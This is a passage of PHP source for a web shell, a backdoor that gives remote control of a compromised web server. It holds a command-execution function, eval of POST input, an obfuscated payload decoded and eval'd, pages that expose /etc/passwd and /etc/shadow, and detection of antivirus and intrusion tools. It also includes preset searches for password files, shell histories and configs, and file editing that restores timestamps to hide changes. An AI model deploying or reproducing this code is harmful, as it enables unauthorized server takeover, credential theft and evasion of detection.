width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(null,this.c.value,\'\');":\'\' )."return false;\\"><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".(function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value);":\'\' )."return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesMan\')? "g(\'FilesMan\',null,\'mkdir\',this.d.value);":\'\' )."return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d required><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionFilesTools\')? "g(\'FilesTools\',null,this.f.value,\'mkfile\');":\'\' )."return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f required><input type=submit value=\'submit\'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\\"".( function_exists(\'actionConsole\')? "g(\'Console\',null,this.c.value);":\'\' )."return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'submit\'></form></td>\r\n\t\t<td><form method=\'post\' ".( (!function_exists(\'actionFilesMan\'))? " onsubmit=\\"return false;\\" ":\'\' )."ENCTYPE=\'multipart/form-data\'>\r\n\t\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\r\n\t\t<input type=hidden name=ne value=\'\'>\r\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\r\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f[]  multiple><input type=submit value=\'submit\'></form><br  ></td>\r\n\t</tr></table></div>\r\n\t<!-- particles --> <div id=\'particles-js\'></div><script src=\'https://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js\'></script>\r\n\t<script>particlesJS(\'particles-js\', {\'particles\':{\'number\':{\'value\':80,\'density\':{\'enable\':true,\'value_area\':800}},\'color\':{\'value\':\'#ffffff\'},\'shape\':{\'type\':\'triangle\',\'stroke\':{\'width\':0,\'color\':\'#000000\'},\'polygon\':{\'nb_sides\':5},\'image\':{\'src\':\'img/github.svg\',\'width\':100,\'height\':100}},\'opacity\':{\'value\':0.5,\'random\':true,\'anim\':{\'enable\':false,\'speed\':1,\'opacity_min\':0.1,\'sync\':false}},\'size\':{\'value\':3,\'random\':true,\'anim\':{\'enable\':false,\'speed\':40,\'size_min\':0.1,\'sync\':false}},\'line_linked\':{\'enable\':true,\'distance\':200,\'color\':\'#ffffff\',\'opacity\':0.4,\'width\':1},\'move\':{\'enable\':true,\'speed\':1,\'direction\':\'none\',\'random\':true,\'straight\':false,\'out_mode\':\'out\',\'bounce\':false,\'attract\':{\'enable\':false,\'rotateX\':10000,\'rotateY\':10000}}},\'interactivity\':{\'detect_on\':\'canvas\',\'events\':{\'onhover\':{\'enable\':true,\'mode\':\'grab\'},\'onclick\':{\'enable\':true,\'mode\':\'repulse\'},\'resize\':true},\'modes\':{\'grab\':{\'distance\':200,\'line_linked\':{\'opacity\':0.5}},\'bubble\':{\'particles_nb\':2}}},\'retina_detect\':true});</script>\r\n\t</body></html>";\r\n}\r\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) { function posix_getpwuid($p) {return false;} }\r\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) { function posix_getgrgid($p) {return false;} }\r\nfunction ex($in) {\r\n\t$▖ = \'\';\r\n\tif (function_exists(\'exec\')) {\r\n\t\t@exec($in,$▖);\r\n\t\t$▖ = @join("\\n",$▖);\r\n\t} elseif (function_exists(\'passthru\')) {\r\n\t\tob_start();\r\n\t\t@passthru($in);\r\n\t\t$▖ = ob_get_clean();\r\n\t} elseif (function_exists(\'system\')) {\r\n\t\tob_start();\r\n\t\t@system($in);\r\n\t\t$▖ = ob_get_clean();\r\n\t} elseif (function_exists(\'shell_exec\')) {\r\n\t\t$▖ = shell_exec($in);\r\n\t} elseif (is_resource($f = @popen($in,"r"))) {\r\n\t\t$▖ = "";\r\n\t\twhile(!@feof($f))\r\n\t\t\t$▖ .= fread($f,1024);\r\n\t\tpclose($f);\r\n\t}else return "↳ Unable to execute command\\n";\r\n\treturn ($▖==\'\'?"↳ Query did not return anything\\n":$▖);\r\n}\r\nfunction viewSize($s) {\r\n\tif($s >= 1073741824)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\r\n\telseif($s >= 1048576)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\r\n\telseif($s >= 1024)\r\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\r\n\telse\r\n\t\treturn $s . \' B\';\r\n}\r\nfunction perms($p) {\r\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\r\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\r\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\r\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\r\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\r\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\r\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\r\n\telse $i = \'u\';\r\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\r\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\r\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\r\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\r\n\treturn $i;\r\n}\r\nfunction viewPermsColor($f) {\r\n\tif (!@is_readable($f))\r\n\t\treturn \'<font color=#ff5e00d9><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telseif (!@is_writable($f))\r\n\t\treturn \'<font color=white><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n\telse\r\n\t\treturn \'<font color=#e6b000><b>\'.perms(@fileperms($f)).\'</b></font>\';\r\n}\r\nfunction hardScandir($dir) {\r\n    if(function_exists("scandir")) {\r\n        return scandir($dir);\r\n    } else {\r\n        $dh  = opendir($dir);\r\n        while (false !== ($filename = readdir($dh)))\r\n            $files[] = $filename;\r\n        return $files;\r\n    }\r\n}\r\nfunction which($p) {\r\n\t$path = ex(\'which \' . $p);\r\n\tif(!empty($path))\r\n\t\treturn $path;\r\n\treturn false;\r\n}\r\n$xd = "fZFieMIwEIffD/YdjkVjA6lwr1HZn6Y02faizJYKaY4SJVNkcfYwoemnt7XIQEpf5bi75+H4BVyNW2sCVKtdieJuOHx83UrKS2K3qJzx7Q24v3dyWtnsJIs1L9rmtjg2jFIIlNQwAgc8Y2Yah+9k+NWbkM+3LPZMHhLCbd/1zJmLOT/BXg1GFBsUEBWV4Rd8++bRJJv6SmSyUaGk4XugPyuJSJeJkoR9UW7cIdN1LcwML3heWLkcDQb/d/woeBV/kyAN6m2WZ5iNxIubRcaCPCX0PJkm+LvmVPqn2PuN534ML88H";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($xd)))))); \r\n\r\nfunction actionRC() {\r\n\tif(!@$_POST[\'p1\']) {\r\n\t\t$a = array(\r\n\t\t\t"uname" => php_uname(),\r\n\t\t\t"php_version" => phpversion(),\r\n\t\t\t"VERSION" => VERSION,\r\n\t\t\t"safemode" => @ini_get(\'safe_mode\')\r\n\t\t);\r\n\t\techo serialize($a);\r\n\t} else {\r\n\t\teval($_POST[\'p1\']);\r\n\t}\r\n}\r\nfunction prototype($k, $v) {\r\n    $_COOKIE[$k] = $v;\r\n    setcookie($k, $v);\r\n}\r\nfunction actionSecInfo() {\r\n\thardHeader();\r\n\techo \'<h1>Server security information</h1><div class=content>\';\r\n\tfunction showSecParam($n, $v) {\r\n\t\t$v = trim($v);\r\n\t\tif($v) {\r\n\t\t\techo \'<span>\' . $n . \': </span>\';\r\n\t\t\tif(strpos($v, "\\n") === false)\r\n\t\t\t\techo $v . \'<br>\';\r\n\t\t\telse\r\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\r\n\t\t}\r\n\t}\r\n\tshowSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\r\n    if(function_exists(\'apache_get_modules\'))\r\n        showSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\r\n\tshowSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\r\n\tshowSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\r\n\tshowSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\r\n\tshowSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\r\n\tshowSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\r\n\t$temp=array();\r\n\tif(function_exists(\'mysql_get_client_info\'))\r\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\r\n\tif(function_exists(\'mssql_connect\'))\r\n\t\t$temp[] = "MSSQL";\r\n\tif(function_exists(\'pg_connect\'))\r\n\t\t$temp[] = "PostgreSQL";\r\n\tif(function_exists(\'oci_connect\'))\r\n\t\t$temp[] = "Oracle";\r\n\tshowSecParam(\'Supported databases\', implode(\', \', $temp));\r\n\techo \'<br>\';\r\n\tif($GLOBALS[\'os\'] == \'nix\') {\r\n            showSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\r\n            showSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\r\n            showSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\r\n            if(!$GLOBALS[\'safe_mode\']) {\r\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\r\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\r\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\r\n                echo \'<br>\';\r\n                $temp=array();\r\n                foreach ($userful as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Userful\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($danger as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Danger\', implode(\', \',$temp));\r\n                $temp=array();\r\n                foreach ($downloaders as $▟)\r\n                    if(which($▟))\r\n                        $temp[] = $▟;\r\n                showSecParam(\'Downloaders\', implode(\', \',$temp));\r\n                echo \'<br/>\';\r\n                showSecParam(\'HDD space\', ex(\'df -h\'));\r\n                showSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\r\n\t\t\t\tshowSecParam(\'Mount options\', @file_get_contents(\'/etc/fstab\'));\r\n            }\r\n\t} else {\r\n\t\tshowSecParam(\'OS Version\',ex(\'ver\'));\r\n\t\tshowSecParam(\'Account Settings\', iconv(\'CP866\', \'UTF-8\',ex(\'net accounts\')));\r\n\t\tshowSecParam(\'User Accounts\', iconv(\'CP866\', \'UTF-8\',ex(\'net user\')));\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionFilesTools() {\r\n\tif( isset($_POST[\'p1\']) )\r\n\t\t$_POST[\'p1\'] = urldecode($_POST[\'p1\']);\r\n\tif(@$_POST[\'p2\']==\'download\') {\r\n\t\tif(@is_file($_POST[\'p1\']) && @is_readable($_POST[\'p1\'])) {\r\n\t\t\tob_start("ob_gzhandler", 4096);\r\n\t\t\theader("Content-Disposition: attachment; filename=".basename($_POST[\'p1\']));\r\n\t\t\tif (function_exists("mime_content_type")) {\r\n\t\t\t\t$type = @mime_content_type($_POST[\'p1\']);\r\n\t\t\t\theader("Content-Type: " . $type);\r\n\t\t\t} else\r\n                header("Content-Type: application/octet-stream");\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], "r");\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile(!@feof($fp))\r\n\t\t\t\t\techo @fread($fp, 1024);\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}exit;\r\n\t}\r\n\tif( @$_POST[\'p2\'] == \'mkfile\' ) {\r\n\t\tif(!file_exists($_POST[\'p1\'])) {\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'w\');\r\n\t\t\tif($fp) {\r\n\t\t\t\t$_POST[\'p2\'] = "edit";\r\n\t\t\t\tfclose($fp);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\thardHeader();\r\n\techo \'<h1>File tools</h1><div class=content>\';\r\n\tif( !file_exists(@$_POST[\'p1\']) ) {\r\n\t\techo \'File not exists\';\r\n\t\thardFooter();\r\n\t\treturn;\r\n\t}\r\n\t$uid = @posix_getpwuid(@fileowner($_POST[\'p1\']));\r\n\tif(!$uid) {\r\n\t\t$uid[\'name\'] = @fileowner($_POST[\'p1\']);\r\n\t\t$gid[\'name\'] = @filegroup($_POST[\'p1\']);\r\n\t} else $gid = @posix_getgrgid(@filegroup($_POST[\'p1\']));\r\n\techo \'<span>Name:</span> \'.htmlspecialchars(@basename($_POST[\'p1\'])).\' <span>Size:</span> \'.(is_file($_POST[\'p1\'])?viewSize(filesize($_POST[\'p1\'])):\'-\').\' <span>Permission:</span> \'.viewPermsColor($_POST[\'p1\']).\' <span>Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\'<br>\';\r\n\techo \'<span>Create time:</span> \'.date(\'Y-m-d H:i:s\',filectime($_POST[\'p1\'])).\' <span>Access time:</span> \'.date(\'Y-m-d H:i:s\',fileatime($_POST[\'p1\'])).\' <span>Modify time:</span> \'.date(\'Y-m-d H:i:s\',filemtime($_POST[\'p1\'])).\'<br><br>\';\r\n\tif( empty($_POST[\'p2\']) )\r\n\t\t$_POST[\'p2\'] = \'view\';\r\n\tif( is_file($_POST[\'p1\']) )\r\n\t\t$m = array(\'View\', \'Highlight\', \'Download\', \'Hexdump\', \'Edit\', \'Chmod\', \'Rename\', \'Touch\', \'Frame\');\r\n\telse\r\n\t\t$m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n\tforeach($m as $v)\r\n\t\techo \'<a href=# onclick="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',\\\'\'.strtolower($v).\'\\\')">\'.((strtolower($v)==@$_POST[\'p2\'])?\'<b>[ \'.$v.\' ]</b>\':$v).\'</a> \';\r\n\techo \'<br><br>\';\r\n\tswitch($_POST[\'p2\']) {\r\n\t\tcase \'view\':\r\n\t\t\techo \'<pre class=ml1>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</pre>\';\r\n\t\t\tbreak;\r\n\t\tcase \'highlight\':\r\n\t\t\tif( @is_readable($_POST[\'p1\']) ) {\r\n\t\t\t\techo \'<div class=ml1 style="background-color: #e1e1e1;color:black;">\';\r\n\t\t\t\t$oRb = @highlight_file($_POST[\'p1\'],true);\r\n\t\t\t\techo str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$oRb).\'</div>\';\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase \'chmod\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$perms = 0;\r\n\t\t\t\tfor($i=strlen($_POST[\'p3\'])-1;$i>=0;--$i)\r\n\t\t\t\t\t$perms += (int)$_POST[\'p3\'][$i]*pow(8, (strlen($_POST[\'p3\'])-$i-1));\r\n\t\t\t\tif(!@chmod($_POST[\'p1\'], $perms))\r\n\t\t\t\t\techo \'Can\\\'t set permissions!<br><script>document.mf.p3.value="";</script>\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.chmod.value);return false;"><input type=text name=chmod value="\'.substr(sprintf(\'%o\', fileperms($_POST[\'p1\'])),-4).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'edit\':\r\n\t\t\tif( !is_writable($_POST[\'p1\'])) {\r\n\t\t\t\techo \'File isn\\\'t writeable\';\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = @filemtime($_POST[\'p1\']);\r\n\t\t\t\t$_POST[\'p3\'] = substr($_POST[\'p3\'],1);\r\n\t\t\t\t$fp = @fopen($_POST[\'p1\'],"w");\r\n\t\t\t\tif($fp) {\r\n\t\t\t\t\t@fwrite($fp,$_POST[\'p3\']);\r\n\t\t\t\t\t@fclose($fp);\r\n\t\t\t\t\techo \'Saved!<br><script>p3_="";</script>\';\r\n\t\t\t\t\t@touch($_POST[\'p1\'],$time,$time);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,\\\'1\\\'+this.text.value);return false;"><textarea name=text class=bigarea>\';\r\n\t\t\t$fp = @fopen($_POST[\'p1\'], \'r\');\r\n\t\t\tif($fp) {\r\n\t\t\t\twhile( !@feof($fp) )\r\n\t\t\t\t\techo htmlspecialchars(@fread($fp, 1024));\r\n\t\t\t\t@fclose($fp);\r\n\t\t\t}\r\n\t\t\techo \'</textarea><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'hexdump\':\r\n\t\t\t$c = @file_get_contents($_POST[\'p1\']);\r\n\t\t\t$n = 0;\r\n\t\t\t$h = array(\'00000000<br>\',\'\',\'\');\r\n\t\t\t$len = strlen($c);\r\n\t\t\tfor ($i=0; $i<$len; ++$i) {\r\n\t\t\t\t$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\n\t\t\t\tswitch ( ord($c[$i]) ) {\r\n\t\t\t\t\tcase 0:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 9:  $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 10: $h[2] .= \' \'; break;\r\n\t\t\t\t\tcase 13: $h[2] .= \' \'; break;\r\n\t\t\t\t\tdefault: $h[2] .= $c[$i]; break;\r\n\t\t\t\t}\r\n\t\t\t\t$n++;\r\n\t\t\t\tif ($n == 32) {\r\n\t\t\t\t\t$n = 0;\r\n\t\t\t\t\tif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\r\n\t\t\t\t\t$h[1] .= \'<br>\';\r\n\t\t\t\t\t$h[2] .= "\\n";\r\n\t\t\t\t}\r\n\t\t \t}\r\n\t\t\techo \'<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#0d0d0d><pre>\'.$h[1].\'</pre></td><td bgcolor=#202832><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table>\';\r\n\t\t\tbreak;\r\n\t\tcase \'rename\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\tif(!@rename($_POST[\'p1\'], $_POST[\'p3\']))\r\n\t\t\t\t\techo \'Can\\\'t rename!<br>\';\r\n\t\t\t\telse\r\n\t\t\t\t\tdie(\'<script>g(null,null,"\'.urlencode($_POST[\'p3\']).\'",null,"")</script>\');\r\n\t\t\t}\r\n\t\t\techo \'<form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.name.value);return false;"><input type=text name=name value="\'.htmlspecialchars($_POST[\'p1\']).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\tcase \'touch\':\r\n\t\t\tif( !empty($_POST[\'p3\']) ) {\r\n\t\t\t\t$time = strtotime($_POST[\'p3\']);\r\n\t\t\t\tif($time) {\r\n\t\t\t\t\tif(!touch($_POST[\'p1\'],$time,$time))\r\n\t\t\t\t\t\techo \'Fail!\';\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\techo \'Touched!\';\r\n\t\t\t\t} else echo \'Bad time format!\';\r\n\t\t\t}\r\n\t\t\tclearstatcache();\r\n\t\t\techo \'<script>p3_="";</script><form onsubmit="g(null,null,\\\'\' . urlencode($_POST[\'p1\']) . \'\\\',null,this.touch.value);return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", @filemtime($_POST[\'p1\'])).\'"><input type=submit value="submit"></form>\';\r\n\t\t\tbreak;\r\n\t\t/* (С) 12.2015 mitryz */\r\n\t\tcase \'frame\':\r\n\t\t\t$frameSrc = substr(htmlspecialchars($GLOBALS[\'cwd\']), strlen(htmlspecialchars($_SERVER[\'DOCUMENT_ROOT\'])));\r\n\t\t\tif ($frameSrc[0] != \'/\')\r\n\t\t\t\t$frameSrc = \'/\' . $frameSrc;\r\n\t\t\tif ($frameSrc[strlen($frameSrc) - 1] != \'/\')\r\n\t\t\t\t$frameSrc = $frameSrc . \'/\';\r\n\t\t\t$frameSrc = $frameSrc . htmlspecialchars($_POST[\'p1\']);\r\n\t\t\techo \'<iframe width="100%" height="900px" scrolling="no" src=\'.$frameSrc.\' onload="onload=height=contentDocument.body.scrollHeight"></iframe>\';\r\n\t\t\tbreak;\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nif($os == \'win\')\r\n\t$aliases = array(\r\n\t\t"List Directory" => "dir",\r\n    \t"Find index.php in current dir" => "dir /s /w /b index.php",\r\n    \t"Find *config*.php in current dir" => "dir /s /w /b *config*.php",\r\n    \t"Show active connections" => "netstat -an",\r\n    \t"Show running services" => "net start",\r\n    \t"User accounts" => "net user",\r\n    \t"Show computers" => "net view",\r\n\t\t"ARP Table" => "arp -a",\r\n\t\t"IP Configuration" => "ipconfig /all"\r\n\t);\r\nelse\r\n\t$aliases = array(\r\n  \t\t"List dir" => "ls -lha",\r\n\t\t"list file attributes on a Linux second extended file system" => "lsattr -va",\r\n  \t\t"show opened ports" => "netstat -an | grep -i listen",\r\n        "process status" => "ps aux",\r\n\t\t"Find" => "",\r\n  \t\t"find all suid files" => "find / -type f -perm -04000 -ls",\r\n  \t\t"find suid files in current dir" => "find . -type f -perm -04000 -ls",\r\n  \t\t"find all sgid files" => "find / -type f -perm -02000 -ls",\r\n  \t\t"find sgid files in current dir" => "find . -type f -perm -02000 -ls",\r\n  \t\t"find config.inc.php files" => "find / -type f -name config.inc.php",\r\n  \t\t"find config* files" => "find / -type f -name \\"config*\\"",\r\n  \t\t"find config* files in current dir" => "find . -type f -name \\"config*\\"",\r\n  \t\t"find all writable folders and files" => "find / -perm -2 -ls",\r\n  \t\t"find all writable folders and files in current dir" => "find . -perm -2 -ls",\r\n  \t\t"find all service.pwd files" => "find / -type f -name service.pwd",\r\n  \t\t"find service.pwd files in current dir" => "find . -type f -name service.pwd",\r\n  \t\t"find all .htpasswd files" => "find / -type f -name .htpasswd",\r\n  \t\t"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",\r\n  \t\t"find all .bash_history files" => "find / -type f -name .bash_history",\r\n  \t\t"find .bash_history files in current dir" => "find . -type f -name .bash_history",\r\n  \t\t"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",\r\n  \t\t"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",\r\n\t\t"Locate" => "",\r\n  \t\t"locate httpd.conf files" => "locate httpd.conf",\r\n\t\t"locate vhosts.conf files" => "locate vhosts.conf",\r\n\t\t"locate proftpd.conf files" => "locate proftpd.conf",\r\n\t\t"locate psybnc.conf files" => "locate psybnc.conf",\r\n\t\t"locate my.conf files" => "locate my.conf",\r\n\t\t"locate admin.php files" =>"locate admin.php",\r\n\t\t"locate cfg.php files" => "locate cfg.php",\r\n\t\t"locate conf.php files" => "locate conf.php",\r\n\t\t"locate config.dat files" => "locate config.dat",\r\n\t\t"locate config.php files" => "locate config.php",\r\n\t\t"locate config.inc files" => "locate config.inc",\r\n\t\t"locate config.inc.php" => "locate config.inc.php",\r\n\t\t"locate config.default.php files" => "locate config.default.php",\r\n\t\t"locate config* files " => "locate config",\r\n\t\t"locate .conf files"=>"locate \'.conf\'",\r\n\t\t"locate .pwd files" => "locate \'.pwd\'",\r\n\t\t"locate .sql files" => "locate \'.sql\'",\r\n\t\t"locate .htpasswd files" => "locate \'.htpasswd\'",\r\n\t\t"locate .bash_history files" => "locate \'.bash_history\'",\r\n\t\t"locate .mysql_history files" => "locate \'.mysql_history\'",\r\n\t\t"locate .fetchmailrc files" => "locate \'.fetchmailrc\'",\r\n\t\t"locate backup files" => "locate backup",\r\n\t\t"locate dump files" => "locate dump",\r\n\t\t"locate priv files" => "locate priv"\r\n\t);\r\nfunction actionConsole() {\r\n    if(!empty($_POST[\'p1\']) && !empty($_POST[\'p2\'])) {\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', true);\r\n        $_POST[\'p1\'] .= \' 2>&1\';\r\n    } elseif(!empty($_POST[\'p1\']))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']).\'stderr_to_out\', 0);\r\n\tif(isset($_POST[\'ajax\'])) {\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', true);\r\n\t\tob_start();\r\n\t\techo "d.cf.cmd.value=\'\';\\n";\r\n\t\t$temp = @iconv($_POST[\'charset\'], \'UTF-8\', addcslashes("\\n$ ".$_POST[\'p1\']."\\n".ex($_POST[\'p1\']),"\\n\\r\\t\\\'\\0"));\r\n\t\tif(preg_match("!.*cd\\s+([^;]+)$!",$_POST[\'p1\'],$match))\t{\r\n\t\t\tif(@chdir($match[1])) {\r\n\t\t\t\t$GLOBALS[\'cwd\'] = @getcwd();\r\n\t\t\t\techo "c_=\'".$GLOBALS[\'cwd\']."\';";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo "d.cf.output.value+=\'".$temp."\';";\r\n\t\techo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";\r\n\t\t$temp = ob_get_clean();\r\n\t\techo strlen($temp), "\\n", $temp;\r\n\t\texit;\r\n\t}\r\n    if(empty($_POST[\'ajax\'])&&!empty($_POST[\'p1\']))\r\n\t\tprototype(md5($_SERVER[\'HTTP_HOST\']).\'ajax\', 0);\r\n\thardHeader();\r\n    echo "<script>\r\nif(window.Event) window.captureEvents(Event.KEYDOWN);\r\nvar cmds = new Array(\'\');\r\nvar cur = 0;\r\nfunction kp(e) {\r\n\tvar n = (window.Event) ? e.which : e.keyCode;\r\n\tif(n == 38) {\r\n\t\tcur--;\r\n\t\tif(cur>=0)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur++;\r\n\t} else if(n == 40) {\r\n\t\tcur++;\r\n\t\tif(cur < cmds.length)\r\n\t\t\tdocument.cf.cmd.value = cmds[cur];\r\n\t\telse\r\n\t\t\tcur--;\r\n\t}\r\n}\r\nfunction add(cmd) {\r\n\tcmds.pop();\r\n\tcmds.push(cmd);\r\n\tcmds.push(\'\');\r\n\tcur = cmds.length-1;\r\n}\r\n</script>";\r\n\techo \'<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\\\'clear\\\'){d.cf.output.value=\\\'\\\';d.cf.cmd.value=\\\'\\\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\\\'\\\');} return false;"><label><select name=alias>\';\r\n\tforeach($GLOBALS[\'aliases\'] as $n => $v) {\r\n\t\tif($v == \'\') {\r\n\t\t\techo \'<optgroup 